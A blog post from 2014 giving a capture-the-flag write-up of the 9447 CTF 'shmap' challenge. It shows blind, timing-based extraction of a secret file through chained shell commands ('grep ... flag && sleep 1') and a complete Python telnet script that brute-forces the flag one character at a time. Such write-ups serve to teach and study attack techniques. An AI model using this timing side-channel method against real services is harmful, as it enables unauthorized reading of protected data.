Blog of Malte Kraus

home

9447 CTF: shmap writeup

01 Dec 2014

This weekend, I participiated in the 9447 CTF as part of the FAUST team. In this post, I'll show you how I solved the shmap challenge.

shmap

The description of shmap only told you to connect to shmap.9447.plumbing:9447. The service at that address showed a shell prompt, but the only output you got back was how long it took the command to execute, rounded to a full second. The connection remained open for another second or so after that message, but it seemed like all input beyond the first line was ignored.

Redirecting the output to a socket via bash's fake /dev/tcp/ device didn't work here (as opposed to the ramble challenge) either.

But after some experimenting, I found that the sleep command worked just fine, as did chaining of commands via &&. Combining these, I could find out whether a command succeeded or not. But where could there be a flag and how do I get the contents? Looking for the flag, I got lucky on my first guess:

>>> ls flag && sleep 1
Command took 1 seconds!

After some failed attempts to verify with test and head that the file (like all correct flags in this competition) started with 9447, I changed tactics and did so with grep instead: grep -P '^9447{'. Now it was just guessing each next character, like in a blind SQL injection. After guessing a few characters by hand, I wrote a little Python script for this:

#!/usr/bin/env python3

import telnetlib
import sys
import time

start = b"grep -P '^9447\{Im_si"

def is_right(c):
    con = None
    while con is None:
        try:
            con = telnetlib.Telnet('shmap.9447.plumbing', 9447, timeout=3)
        except ConnectionRefusedError: # sometimes the connection wouldn't work
            pass
    str = start + c +  b"' flag && sleep 1 \n"
    sys.stdout.buffer.write(b'\r' + str[-100:].strip())
    sys.stdout.buffer.flush()
    con.write(str)
    return not con.read_all().decode().endswith('0 seconds!\n')

rng = lambda a, z: [bytes([v]) for v in range(ord(a), ord(z))]

found = True
while found:
    found = False
    for val in rng('a', 'z') + [b'_'] + rng('A', 'Z') + [b'.']:
        # check twice, to weed out false positives (presumably the server was somewhat overloaded)
        if is_right(val) and is_right(val):
            start += val
            found = True
            break

print(start)

After wondering a bit why I the script wasn't running faster, I also figured out why the connection was kept open for some time after the service was already done: that's some very simple rate-limiting on the server side.

After a few minutes, the script gave the correct flag: 9447{Im_sick_and_tired_of_the_mess_you_made_me_Never_gonna_catch_me_cry_Oh_whoa_whoa_You_ must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa_Without_me_ youre_nothing_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_ you_die_Oh_whoa_whoa}